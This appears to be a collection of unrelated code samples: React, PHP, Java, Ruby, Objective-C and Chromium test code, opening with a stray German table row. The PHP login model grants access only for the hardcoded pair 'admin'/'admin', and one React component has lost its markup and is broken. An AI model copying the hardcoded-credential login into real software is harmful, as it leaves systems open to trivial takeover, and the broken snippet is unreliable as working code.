| Nachricht | Die Nachricht, die ausgegeben wurde. Die Nachricht variiert abhängig vom Kontext. |
{: caption="Tabelle 2. Felder eines Docker-Container-Protokolleintrags" caption-side="top"}


text:
"use strict";

import React, { Component } from 'react';
// import Api from "../actions/api.js"
require('../../css/app.sass')

class Table extends Component {

  constructor(props) {
    super(props);
    this.state = {records: null };
  }

  setRecords(records){
    this.setState({records: records})
  }

  // componentWillMount() {
  //   var _this = this
  //   this.serverRequest = Api.get('/records').then((response) => {
  //     if (response.status == 200){
  //       response.json().then((json) => {
  //         this.setRecords(json)
  //       })
  //     }
  //   })
  // }

  componentWillUnmount() {
    this.serverRequest.abort();
  }

  handleClick() {
    console.log(this)
  }
  playSound() {
    console.log(this)
  }

  render() {

    var allRecords

    if (this.state.records){
      var that = this
      allRecords = this.state.records.map(function(record){
        return (

              {record.name}

            hayy

          )
      });
    }

    return (

            {allRecords}

    );
  }

};

export default Table


text:
set -e

gem install sinatra
ruby /src/ruby.rb


text:
@implementation NSMutableString (DCHSafeCRUD)

- (void)dch_safe_replaceCharactersInRange:(NSRange)range withString:(NSString *)aString {
    do {
        if (!DCH_IsEmpty(aString) && range.location <= self.length && (range.location + range.length) <= self.length) {
            [self replaceCharactersInRange:range withString:aString];
        }
    } while (NO);
}

- (void)dch_safe_insertString:(NSString *)aString atIndex:(NSUInteger)loc {
    do {
        if (!DCH_IsEmpty(aString) && loc <= self.length) {
            [self insertString:aString atIndex:loc];
        }
    } while (NO);
}

- (void)dch_safe_deleteCharactersInRange:(NSRange)range {
    do {
        if (range.location <= self.length && (range.location + range.length) <= self.length) {
            [self deleteCharactersInRange:range];
        }
    } while (NO);
}

- (void)dch_safe_appendString:(NSString *)aString {
    do {
        if (DCH_IsEmpty(aString)) {
            break;
        }
        [self appendString:aString];
    } while (NO);
}

- (void)dch_safe_setString:(NSString *)aString {
    do {
        if (DCH_IsEmpty(aString)) {
            break;
        }
        [self setString:aString];
    } while (NO);
}

@end


text:
package ch.qos.logback.core.filter;

import ch.qos.logback.core.spi.FilterReply;

public abstract class AbstractMatcherFilter<E> extends Filter<E> {

    protected FilterReply onMatch = FilterReply.NEUTRAL;
    protected FilterReply onMismatch = FilterReply.NEUTRAL;

    final public void setOnMatch(FilterReply reply) {
        this.onMatch = reply;
    }

    final public void setOnMismatch(FilterReply reply) {
        this.onMismatch = reply;
    }

    final public FilterReply getOnMatch() {
        return onMatch;
    }

    final public FilterReply getOnMismatch() {
        return onMismatch;
    }
}


text:
# How-to: Verify a NXP NTAG Signature with Profiles RestClient

This guide describes how to verify the authenticity of a NXP chip using the Profiles signature feature.

	import net.smartcosmos.android.ProfilesRestClient;
	import net.smartcosmos.android.ProfilesRestClient.ProfilesRestResult;

	public class mySignatureVerification {

	/* ... */

		boolean verifyNxpSignatureExample(
			byte[] uid,			// NTAG uid
			byte[] version,		// NTAG version
			byte[] signature	// NTAG signature
		) {
			ProfilesRestResult result;
			ProfilesRestClient client = new ProfilesRestClient("https://profiles.example.com", "user-foo", "pw-bar");

			result = client.verifyNxpTag(uid, version, signature);
			switch (result.iCode)
			{
				case 0:
					/* handle VALID signature */
					return true;
				break;
				case 1:
					/* handle INVALID signature */
					return false;
				break;
				default:
					/* handle error state */
					throw SomewhatException(result.sMessage);
			}
		}
	}

Hint:

To obtain the *uid*, *version* and *signature* of the NTAG, use the NfcNtag API available on GitHub:

[https://github.com/SMARTRACTECHNOLOGY-PUBLIC/smartrac-sdk-java-android-nfc](https://github.com/SMARTRACTECHNOLOGY-PUBLIC/smartrac-sdk-java-android-nfc "NfcNtag API")


text:
import copy
from auto_gen import DBAbstraction as _DBAbstraction
from auto_gen import DBAbstractionRef, DBModule
from id_scope import IdScope

class DBAbstraction(_DBAbstraction):
    def __init__(self, *args, **kwargs):
	_DBAbstraction.__init__(self, *args, **kwargs)
        self.idScope = IdScope(remap={DBAbstractionRef.vtType: DBModule.vtType})
        self.idScope.setBeginId('action', 1)

    def __copy__(self):
        return DBAbstraction.do_copy(self)

    def do_copy(self, new_ids=False, id_scope=None, id_remap=None):
        cp = _DBAbstraction.do_copy(self, new_ids, id_scope, id_remap)
        cp.__class__ = DBAbstraction
        # need to go through and reset the index to the copied objects
        cp.idScope = copy.copy(self.idScope)
        return cp


text:
from tasks.base_tasks import TempTableTask
from tasks.uk.gov import LowerLayerSuperOutputAreas
from tasks.meta import current_session

class Shoreline(TempTableTask):

    def requires(self):
        return LowerLayerSuperOutputAreas()

    def version(self):
        return 1

    def run(self):
        session = current_session()

        stmt = '''
                CREATE TABLE {output_table} AS
                SELECT ST_Union(the_geom) the_geom
                  FROM {input_table}
               '''.format(
                   output_table=self.output().table,
                   input_table=self.input().table,
               )

        session.execute(stmt)


text:
<?php
if (!defined('BASEPATH'))
  exit('No direct script access allowed');

class Login_model extends CI_model {

  function __construct() {
    parent::__construct();
    $this -> load -> database();
  }

  function authorize($username, $password) {
    $admin = null;
    if($username == 'admin' && $password == 'admin') {
      $this -> db -> from('farmer');
      $this -> db -> where('first_name', $username);
      $this -> db -> where('last_name', $password);
      $query = $this -> db -> get();

      foreach ($query->result_array() as $row) {
        $admin[] = $row;
      }
    }
    return $admin;
  }

}


text:
package com.youkaicountry.youml.module.connection;
import com.youkaicountry.youml.module.Module;
import com.youkaicountry.youml.parameter.SingleVector;

public abstract class Connection extends Module
{
    public Module module_a;
    public Module module_b;

    public Connection(String name, Module module_a, int a_offset, int a_erroffset, Module module_b, int b_offset, int b_erroffset, int parameters)
    {
        super(name);
        this.moduleInit(module_a.output_dim, module_a.output_buffer, a_offset, module_a.output_error_buffer, b_erroffset, module_b.input_dim, module_b.input_buffer, b_offset, module_b.input_error_buffer, b_erroffset, new SingleVector(parameters, true, this));
        this.module_a = module_a;
        this.module_b = module_b;
        return;
    }

    @Override
    public void clearBuffers()
    {
        return;
    }

}


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.Analyzer.TokenStreamComponents;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.Tokenizer;
import org.apache.lucene.analysis.core.LowerCaseFilter;
import org.apache.lucene.analysis.standard.StandardFilter;
import org.apache.lucene.analysis.standard.StandardTokenizer;

public class DictionaryAnalyzer
        extends Analyzer {

    @Override
    protected TokenStreamComponents createComponents(final String fieldName) {
        final Tokenizer source = new StandardTokenizer();
        TokenStream result = new StandardFilter(source);

        result = new LowerCaseFilter(result);

        return new TokenStreamComponents(source, result);
    }

}


text:
export default {
  // Put your production configuration here
};


text:
<?php

namespace PHPProm\Storage;

/**
 * Class Redis
 * Storage implementation using Redis.
 * @package PHPProm\Storage
 */
class Redis extends AbstractStorage {

    /**
     * @var \Redis
     * The Redis connection.
     */
    protected $redis;

    /**
     * Redis constructor.
     *
     * @param string $host
     * the connection host
     * @param null|string $password
     * the password for authentication, null to ignore
     * @param int $port
     * the connection port, default 6379
     * @param string $prefix
     * the global key prefix to use, default 'PHPProm:'
     * @param null|string $dbIndex
     * the Redis DB index to use, null to ignore
     */
    public function __construct($host, $password = null, $port = 6379, $prefix = 'PHPProm:', $dbIndex = null) {
        parent::__construct();
        $this->redis = new \Redis();
        $this->redis->connect($host, $port);
        if ($password !== null) {
            $this->redis->auth($password);
        }
        if ($dbIndex !== null) {
            $this->redis->select($dbIndex);
        }
        $this->redis->setOption(\Redis::OPT_PREFIX, $prefix);
    }

    /**
     * {@inheritdoc}
     */
    public function storeMeasurement($metric, $key, $value) {
        $this->redis->set($metric.':'.$key, $value);
    }

    /**
     * {@inheritdoc}
     */
    public function incrementMeasurement($metric, $key) {
        $this->redis->incr($metric.':'.$key);
    }

    /**
     * {@inheritdoc}
     */
    public function getMeasurements($metric, array $keys, $defaultValue = 'Nan') {
        $measurements = [];
        $prefixedKeys = array_map(function($key) use ($metric) {
            return $metric.':'.$key;
        }, $keys);
        foreach ($this->redis->mget($prefixedKeys) as $i => $value) {
            $measurements[$keys[$i]] = $value !== false ? (float)$value : $defaultValue;
        }
        return $measurements;
    }
}


text:
<?php
 if(isset($error))
  {
     echo $error;
  }
        if(!empty($query)){

            foreach ($query as $navdata){

                $id = $navdata->id;
                $name = $navdata->navigation_name;
       }

    ?>

Edit Navigation/ <?php echo $name; ?>

  <?php echo validation_errors(); ?>

  <?php echo $this->session->flashdata('message'); ?>

  <?php echo form_open_multipart('dashboard/updatenavigation');?>

Title:

      <input type="hidden" name="id" value="<?php echo $id; ?>" >
      <input type="text" name="navigation_name" value="<?php echo htmlentities($name); ?>" />

  <input class="btn btn-default" type="submit" value="Submit" />
  <?php echo form_close();?>

<?php }
else{
    echo 'page not found';
}?>


text:
var debug = require('debug')('component-consoler');
var slice = Array.prototype.slice;

/**
 * Error types where we show the stack trace.
 * These are generally user errors, not "our" errors.
 **/
var showstack = [
  'ParseError',
  'SyntaxError',
  'URIError'
];

/**
 * Log message with `type` and `message` interpolated by `substitutes`.
 *
 * @param {String} type
 * @param {String} message
 * @param {...String} [substitutes]
 * @api public
**/
exports.log = function (type, message /*, substitutes */) {
  log('log', 36, type, message, slice.call(arguments, 2));
};

/**
 * Log warning message with `type` and `message` interpolated by `substitutes`.
 *
 * @param {String} type
 * @param {String} message
 * @param {...String} [substitutes]
 * @api public
**/
exports.warn = function (type, message /*, substitutes */) {
  log('warn', 33, type, message, slice.call(arguments, 2));
};

/**
 * Log error message with "error" type and `message` interpolated by `substitutes`.
 *
 * @param {String} message
 * @param {...String} [substitutes]
 * @api public
**/
exports.error = function (message /*, substitutes */) {
  log('error', 31, 'error', message, slice.call(arguments, 1));
};

/**
 * Log error message and exit with "fatal" type and `error` interpolated by `substitutes`.
 * Depending on the error type, show the stack trace.
 *
 * @param {String|Error} error
 * @param {...String} [substitutes]
 * @api public
**/
exports.fatal = function (error /*, substitutes */) {
  var message = error;

  if (error instanceof Error) {
    debug(error.stack);

    if (error.stack && ~showstack.indexOf(error.name)) {
      message = error.stack;
    } else {
      message = error.message;
    }
  }

  console.error();
  log('error', 31, 'fatal', message, slice.call(arguments, 1));
  console.error();
  process.exit(1);
};

/**
 * Log message in console `method` with `color`, `type`, `message`, `substitutes`.
 *
 * @param {String} method
 * @param {Number} color
 * @param {String} type
 * @param {String} message
 * @param {String[]} substitues
 * @api private
**/
function log (method, color, type, message, substitutes) {
  console[method].apply(console, [stylize(type, message, color)].concat(substitutes));
}

/**
 * Stylize message, use `color` for `type` before `message`.
 *
 * @param {String} type
 * @param {String} message
 * @param {Number} color
 * @return {String}
 * @api private
**/
function stylize (type, message, color) {
  return '  \033[' + color + 'm' + pad(type) + '\033[m : \033[90m' + message + '\033[m';
}

/**
 * Add whitespace indentation before text.
 *
 * @param {String} text
 * @return {String}
 * @api private
**/
function pad (text) {
  var width = 10;
  var length = Math.max(0, width - text.length);
  var space = Array(length + 1).join(' ');
  return space + text;
}


text:
<?php

namespace VintageWest\AdminBundle\Repository;

use Doctrine\ORM\EntityRepository;

/**
 * NewsRepository
 *
 * This class was generated by the Doctrine ORM. Add your own custom
 * repository methods below.
 */
class NewsRepository extends EntityRepository
{
    public function findAllCounted()
    {
        return $this->getEntityManager()
            ->createQuery('SELECT COUNT(a) FROM VintageWestAdminBundle:News a')
            ->getSingleScalarResult();
    }
}


text:
module Dijkstra
  class Calculator
    attr_reader :graph
    attr_reader :origin_node
    attr_reader :target_node

    def initialize(graph, origin_node, target_node)
      @graph, @origin_node, @target_node = graph, origin_node, target_node
    end

    def perform
      initialize_algorithm
    end

    private

    def initialize_algorithm
      @current   = origin_node
      @visited = [origin_node]
      solution = []
      while @current != target_node do
        shortest = shortest_node(@current)
        solution << shortest
        @visited << shortest
        @current = shortest
      end
      solution
    end

    def tentantive_distances(node)
      graph.neighbours(node).map do |neighbour|
        next if @visited.include? neighbour
        [neighbour, (graph.distance_between(node, neighbour) + shortest_distance(neighbour))]
      end.compact
    end

    def shortest_distance(node)
      graph.neighbours(node).map do |neighbour|
        next if @visited.include? neighbour
        graph.distance_between(node, neighbour)
      end.compact.min.to_i
    end

    def shortest_node(node)
      distance = tentantive_distances(node)
      distance.sort { |x,y| x.last <=> y.last }.first.first
    end
  end
end


text:
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { reduxForm } from 'redux-form';
import { connect } from 'react-redux';
import compose from 'recompose/compose';
import { Tabs, Tab } from 'material-ui/Tabs';
import Toolbar from './Toolbar';
import getDefaultValues from './getDefaultValues';
import translate from '../../i18n/translate';

const noop = () => {};

export class TabbedForm extends Component {
    constructor(props) {
        super(props);
        this.state = {
            value: 0,
        };
    }

    handleChange = (value) => {
        this.setState({ value });
    };

    render() {
        const { children, contentContainerStyle, handleSubmit, invalid, record, resource, basePath, translate, submitOnEnter } = this.props;
        return (
            <form onSubmit={ submitOnEnter ? handleSubmit : noop } className="tabbed-form">
                <div style={{ padding: '0 1em 1em 1em' }}>
                    <Tabs
                        value={this.state.value}
                        onChange={this.handleChange}
                        contentContainerStyle={contentContainerStyle}
                    >
                        {React.Children.map(children, (tab, index) =>
                            <Tab
                                key={tab.props.value}
                                className="form-tab"
                                label={translate(tab.props.label, { _: tab.props.label })}
                                value={index}
                                icon={tab.props.icon}
                            >
                                {React.cloneElement(tab, { resource, record, basePath })}
                            </Tab>
                        )}
                    </Tabs>
                </div>
                <Toolbar invalid={invalid} submitOnEnter={submitOnEnter} />
            </form>
        );
    }
}

TabbedForm.propTypes = {
    children: PropTypes.node,
    contentContainerStyle: PropTypes.object,
    defaultValue: PropTypes.oneOfType([
        PropTypes.object,
        PropTypes.func,
    ]),
    handleSubmit: PropTypes.func,
    invalid: PropTypes.bool,
    record: PropTypes.object,
    resource: PropTypes.string,
    basePath: PropTypes.string,
    translate: PropTypes.func,
    validate: PropTypes.func,
    submitOnEnter: PropTypes.bool,
};

TabbedForm.defaultProps = {
    contentContainerStyle: { borderTop: 'solid 1px #e0e0e0' },
    submitOnEnter: true,
};

const enhance = compose(
    connect((state, props) => ({
        initialValues: getDefaultValues(state, props),
    })),
    reduxForm({
        form: 'record-form',
        enableReinitialize: true,
    }),
    translate,
);

export default enhance(TabbedForm);


text:
(function(){

	PushPin.Features.OSMDownloader = function(bbox, onSuccess, onFailure){

		this.bbox = bbox;

    	this.poiURL =  PushPin.getOSMUrl() + '/api/0.6/map?bbox=' + this.bbox;
    	this.onSuccess = onSuccess;
    	this.onFailure = onFailure;
    	this.osmXMl = null;
	};

	var prototype = PushPin.Features.OSMDownloader.prototype;

	prototype.onDownloadSuccess = function(){

		if(PushPin.existsAndNotNull(this.onSuccess)){
			this.onSuccess(this.osmXML);
		}
	};

	prototype.onDownloadFailure = function(e){

		if(PushPin.existsAndNotNull(this.onFailure)){
			this.onFailure(e);
		}
	};

	prototype.download = function(){

		var context = this;

		var request = $.ajax({
			url: context.poiURL,
			type: 'GET',
			dataType: 'text',
			timeout: 30000,
			success: function(data, textStatus, jqXHR){
				context.osmXML = data;

				context.onDownloadSuccess();
			},
			error: function(jqXHR, textStatus, err){
				console.log("request failed", err);

				context.onDownloadFailure(err);
			}
		});
	};
})();


text:
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "chrome/browser/extensions/extension_apitest.h"

#include "base/files/file_path.h"
#include "base/files/file_util.h"
#include "base/files/scoped_temp_dir.h"
#include "base/macros.h"
#include "base/threading/thread_restrictions.h"
#include "content/public/test/browser_test.h"
#include "net/dns/mock_host_resolver.h"

namespace {

class DeclarativeNetRequestAPItest : public extensions::ExtensionApiTest {
 public:
  DeclarativeNetRequestAPItest() {}

 protected:
  // ExtensionApiTest override.
  void SetUpOnMainThread() override {
    extensions::ExtensionApiTest::SetUpOnMainThread();
    ASSERT_TRUE(StartEmbeddedTestServer());

    // Map all hosts to localhost.
    host_resolver()->AddRule("*", "127.0.0.1");

    base::FilePath test_data_dir =
        test_data_dir_.AppendASCII("declarative_net_request");

    // Copy the |test_data_dir| to a temporary location. We do this to ensure
    // that the temporary kMetadata folder created as a result of loading the
    // extension is not written to the src directory and is automatically
    // removed.
    base::ScopedAllowBlockingForTesting allow_blocking;
    ASSERT_TRUE(temp_dir_.CreateUniqueTempDir());
    base::CopyDirectory(test_data_dir, temp_dir_.GetPath(), true /*recursive*/);

    // Override the path used for loading the extension.
    test_data_dir_ = temp_dir_.GetPath().AppendASCII("declarative_net_request");
  }

 private:
  base::ScopedTempDir temp_dir_;

  DISALLOW_COPY_AND_ASSIGN(DeclarativeNetRequestAPItest);
};

IN_PROC_BROWSER_TEST_F(DeclarativeNetRequestAPItest, DynamicRules) {
  ASSERT_TRUE(RunExtensionTest("dynamic_rules")) << message_;
}

// TODO(crbug.com/1029233) Restore this test. This is disabled due to
// flakiness.
IN_PROC_BROWSER_TEST_F(DeclarativeNetRequestAPItest,
                       DISABLED_OnRulesMatchedDebug) {
  ASSERT_TRUE(RunExtensionTest("on_rules_matched_debug")) << message_;
}

// TODO(crbug.com/1070344): Disabled due to flakiness.
IN_PROC_BROWSER_TEST_F(DeclarativeNetRequestAPItest, DISABLED_GetMatchedRules) {
  ASSERT_TRUE(RunExtensionTest("get_matched_rules")) << message_;
}

}  // namespace